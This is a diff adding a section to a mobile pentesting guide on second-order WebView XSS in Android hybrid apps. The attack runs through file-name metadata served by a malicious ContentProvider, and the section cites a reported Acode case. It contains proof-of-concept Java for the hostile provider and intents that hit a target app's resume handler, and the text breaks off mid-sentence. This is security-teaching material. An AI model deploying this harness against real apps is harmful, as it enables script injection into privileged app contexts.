diff --git a/src/mobile-pentesting/android-app-pentesting/webview-attacks.md b/src/mobile-pentesting/android-app-pentesting/webview-attacks.md index 1aee37f502d..195e7c0a10c 100644 --- a/src/mobile-pentesting/android-app-pentesting/webview-attacks.md +++ b/src/mobile-pentesting/android-app-pentesting/webview-attacks.md @@ -384,6 +384,116 @@ Related +## Second-order WebView XSS through `ContentProvider` metadata + +Do not limit WebView source tracing to intent extras or file bytes. A receiving app may query an attacker-owned `content://` URI, retain `OpenableColumns.DISPLAY_NAME`, and only render that name later in a dialog. If the dialog interpolates the stored value into `innerHTML`, a harmless virtual file name such as `` becomes **second-order XSS** inside the app's existing WebView document. This pattern was reported in Acode: its deleted-file path inserted `file.filename` into an alert message whose renderer used `innerHTML`.[[16]](#references)[[17]](#references)[[18]](#references)[[19]](#references) + +The important audit path is **metadata source → persistent state → lifecycle/error path → HTML sink**, rather than only source → sink in one call.[[16]](#references)[[19]](#references) + +```text +provider query() -> DISPLAY_NAME -> stored filename + -> resource later becomes unreadable/missing + -> resume/refresh/error handler + -> localized message interpolation + -> innerHTML / outerHTML / insertAdjacentHTML + -> event-handler JavaScript +``` + +Search hybrid-app JavaScript for both the sinks and the delayed triggers, then trace filename, title, label, MIME, and URI-derived fields backwards.[[17]](#references)[[18]](#references)[[19]](#references) + +```bash +grep -RniE 'innerHTML|outerHTML|insertAdjacentHTML' assets/www src +grep -RniE 'DISPLAY_NAME|filename|displayName|getLastPathSegment' assets/www src +grep -RniE 'resume|onResume|visibilitychange|refresh|exists|deleted' assets/www src +``` + +### Stateful virtual-file harness + +A malicious provider is useful for testing because `DISPLAY_NAME` supplies a human-readable name independently of the file bytes, while `ParcelFileDescriptor.createPipe()` returns a read end and a write end that can serve content entirely from memory.[[20]](#references)[[21]](#references) The core provider logic can switch from a valid resource to a missing one on demand:[[19]](#references) + +
+Minimal stateful ContentProvider methods + +```java +static volatile boolean gone = false; + +public String getType(Uri uri) { + return gone ? null : "text/plain"; +} +public Cursor query(Uri uri, String[] projection, String s, + String[] args, String order) { + if (gone) return null; + String[] cols = projection != null ? projection : + new String[]{OpenableColumns.DISPLAY_NAME, OpenableColumns.SIZE}; + MatrixCursor c = new MatrixCursor(cols); + MatrixCursor.RowBuilder row = c.newRow(); + for (String col : cols) + row.add(col, OpenableColumns.DISPLAY_NAME.equals(col) ? + "" : + OpenableColumns.SIZE.equals(col) ? 4 : null); + return c; +} +public ParcelFileDescriptor openFile(Uri uri, String mode) + throws FileNotFoundException { + if (gone) throw new FileNotFoundException(); + try { + ParcelFileDescriptor[] pipe = ParcelFileDescriptor.createPipe(); + new Thread(() -> { + try (OutputStream out = + new ParcelFileDescriptor.AutoCloseOutputStream(pipe[1])) { + out.write("test".getBytes(StandardCharsets.UTF_8)); + } catch (IOException ignored) {} + }).start(); + return pipe[0]; + } catch (IOException e) { + throw new FileNotFoundException(e.getMessage()); + } +} +``` + +
+ +Deliver the URI to an exported `VIEW`/`EDIT`/`SEND` file handler, explicitly select the target component when testing, and grant only the URI access needed for the import. After the target has stored the metadata, either toggle the provider into its missing state or revoke the temporary URI grant. Bring the existing target Activity forward to reach resume-dependent checks; Cordova emits `resume` when the platform returns the application from the background.[[16]](#references)[[19]](#references)[[22]](#references) + +```java +Uri u = Uri.parse("content://com.attacker.files/poc.txt"); +Intent open = new Intent(Intent.ACTION_EDIT) + .setDataAndType(u, "text/plain") + .setComponent(new ComponentName("com.target", "com.target.MainActivity")) + .addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION); +startActivity(open); + +// After the target opened the URI: +gone = true; // or revokeUriPermission(u, Intent.FLAG_GRANT_READ_URI_PERMISSION) +Intent resume = new Intent().setComponent(open.getComponent()) + .addFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT | + Intent.FLAG_ACTIVITY_SINGLE_TOP); +startActivity(resume); +``` + +Treat `REORDER_TO_FRONT` as a lifecycle aid, not a guarantee: confirm with logs or an attached debugger that the intended `onResume()`/Cordova `resume` handler actually ran and that the existing editor state was reused.[[19]](#references)[[22]](#references) + +### Keeping the privileged document alive + +Navigating with `window.location` destroys the current hybrid-app document. If XSS must keep its Cordova/application globals, fetched HTML can instead replace the current DOM. Scripts parsed through `innerHTML` are normally inert in this workflow, so recreate the imported `